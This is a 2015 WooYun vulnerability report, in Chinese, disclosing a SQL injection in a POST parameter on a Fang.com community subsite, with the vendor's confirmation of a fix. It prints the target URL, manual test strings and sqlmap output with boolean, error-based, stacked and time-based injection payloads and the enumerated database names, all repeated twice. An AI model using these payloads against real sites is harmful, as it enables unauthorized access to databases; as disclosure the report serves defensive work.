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缺陷编号：wooyun-2015-0133833

漏洞标题：搜房网某分站boolean类型SQL盲注

相关厂商：搜房网

漏洞作者： PyNerd

提交时间：2015-08-13 14:49

修复时间：2015-09-28 14:40

公开时间：2015-09-28 14:40

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-08-13： 细节已通知厂商并且等待厂商处理中
2015-08-14： 厂商已经确认，细节仅向厂商公开
2015-08-24： 细节向核心白帽子及相关领域专家公开
2015-09-03： 细节向普通白帽子公开
2015-09-13： 细节向实习白帽子公开
2015-09-28： 细节向公众公开

简要描述：

造句：一边听着蔡依林的歌，一边喝着举爷的茶，一边挖洞.....

详细说明：

http://shequ.fang.com/i/xiaoquAjax.ashx
post类型，在city参数上
city=bj' and len(user_name())=7 and 'aa'='aa&districtID=0&Method=GetAreaList&r=3.1415926
手工测试
1=1时，页面有返回值。

sf.png


1=2时，页面无返回值。

sf2.png


sqlmap跑测

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: city (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: city=bj' AND 8290=8290 AND 'GyZG'='GyZG&districtID=0&Method=GetAreaList&r=3.14
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: city=bj' AND 1937=CONVERT(INT,(SELECT CHAR(113)+CHAR(112)+CHAR(122)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (1937=1937) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(98)+CHAR(122)+CHAR(113))) AND 'abgt'='abgt&districtID=0&Method=GetAreaList&r=3.14
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: city=bj';WAITFOR DELAY '0:0:5'--&districtID=0&Method=GetAreaList&r=3.14
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind (comment)
    Payload: city=bj' WAITFOR DELAY '0:0:5'--&districtID=0&Method=GetAreaList&r=3.14
---
[12:50:03] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows
web application technology: ASP.NET, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[12:50:03] [INFO] fetching database names
[12:50:03] [INFO] the SQL query used returns 3 entries
[12:50:03] [INFO] resumed: master
[12:50:03] [INFO] resumed: SheQu
[12:50:03] [INFO] resumed: tempdb
available databases [3]:
[*] master
[*] SheQu
[*] tempdb

漏洞证明：

http://shequ.fang.com/i/xiaoquAjax.ashx
post类型，在city参数上
city=bj' and len(user_name())=7 and 'aa'='aa&districtID=0&Method=GetAreaList&r=3.1415926
手工测试
1=1时，页面有返回值。

sf.png


1=2时，页面无返回值。

sf2.png


sqlmap跑测

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: city (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: city=bj' AND 8290=8290 AND 'GyZG'='GyZG&districtID=0&Method=GetAreaList&r=3.14
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: city=bj' AND 1937=CONVERT(INT,(SELECT CHAR(113)+CHAR(112)+CHAR(122)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (1937=1937) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(98)+CHAR(122)+CHAR(113))) AND 'abgt'='abgt&districtID=0&Method=GetAreaList&r=3.14
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: city=bj';WAITFOR DELAY '0:0:5'--&districtID=0&Method=GetAreaList&r=3.14
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind (comment)
    Payload: city=bj' WAITFOR DELAY '0:0:5'--&districtID=0&Method=GetAreaList&r=3.14
---
[12:50:03] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows
web application technology: ASP.NET, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[12:50:03] [INFO] fetching database names
[12:50:03] [INFO] the SQL query used returns 3 entries
[12:50:03] [INFO] resumed: master
[12:50:03] [INFO] resumed: SheQu
[12:50:03] [INFO] resumed: tempdb
available databases [3]:
[*] master
[*] SheQu
[*] tempdb

修复方案：

下线吧

版权声明：转载请注明来源 PyNerd@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：5

确认时间：2015-08-14 14:38

厂商回复：

感谢您对搜房安全的关注，您反馈的问题已经修复。

最新状态：

暂无